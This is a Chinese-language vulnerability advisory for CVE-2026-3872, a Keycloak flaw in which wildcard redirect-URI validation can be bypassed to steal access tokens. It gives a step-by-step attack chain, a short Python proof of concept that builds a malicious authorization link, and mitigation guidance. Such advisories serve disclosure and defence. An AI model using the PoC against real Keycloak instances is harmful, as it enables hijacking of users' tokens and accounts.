IPBUF安全漏洞报告
English
CVE-2026-3872 CVSS 7.3 高危

CVE-2026-3872 Keycloak重定向绕过致信息泄露漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-3872
漏洞类型
开放重定向
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Keycloak

相关标签

Keycloak开放重定向信息泄露身份认证CVE-2026-3872

漏洞概述

Keycloak存在一处安全漏洞,允许攻击者利用同一Web服务器上控制的路径,绕过使用通配符的重定向URI路径限制。攻击者可诱导用户点击恶意链接,利用此缺陷窃取有效的访问令牌。该漏洞需要一定的用户交互才能成功利用,成功后会导致敏感信息泄露。

技术细节

该漏洞源于Keycloak在处理重定向URI验证逻辑时的缺陷。当管理员配置允许的重定向URI包含通配符(如 `https://example.com/callback/*`)时,验证机制未能严格限制通配符所覆盖的实际路径范围。攻击者若能控制同一Web服务器下的其他路径(如 `https://example.com/evil/`),即可构造包含恶意redirect_uri参数的认证请求。由于验证逻辑被绕过,服务器误认为该路径合法,从而将授权后的访问令牌发送至攻击者控制的端点,导致令牌劫持。

攻击链分析

STEP 1
侦查
攻击者确认目标Keycloak实例使用了带有通配符的重定向URI配置。
STEP 2
路径控制
攻击者在同一Web服务器上获取对特定路径(非白名单预期路径)的写入或控制权限。
STEP 3
构造链接
攻击者构造一个包含恶意redirect_uri参数的认证链接,指向其控制的路径。
STEP 4
诱导点击
攻击者诱导经过身份验证的用户点击该恶意链接。
STEP 5
窃取令牌
Keycloak因漏洞未正确拦截重定向,将访问令牌发送给攻击者控制的路径。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept for CVE-2026-3872 # This PoC demonstrates the logic to bypass wildcard redirect URI validation. import urllib.parse def exploit(base_url, client_id, controlled_path): """ Generates a malicious authorization URL. Assumes the attacker controls 'controlled_path' on the same host. """ # The vulnerable configuration allows something like: https://target.com/valid/* # The attacker uses: https://target.com/controlled_path/ redirect_uri = f"{base_url}/{controlled_path}/" params = { "client_id": client_id, "response_type": "code", "redirect_uri": redirect_uri, "scope": "openid", "state": "xyz" } return f"{base_url}/auth/realms/master/protocol/openid-connect/auth?{urllib.parse.urlencode(params)}" # Example usage # print(exploit("https://vulnerable-keycloak.com", "public-client", "attacker-folder"))

影响范围

Keycloak (具体受影响版本请参考官方安全公告)

防御指南

临时缓解措施
在未实施补丁之前,建议管理员严格限制重定向URI的配置,避免使用通配符。同时,应加强对认证日志的监控,检查是否存在指向异常路径的重定向请求,并对同一Web服务器上的非应用目录实施严格的访问控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表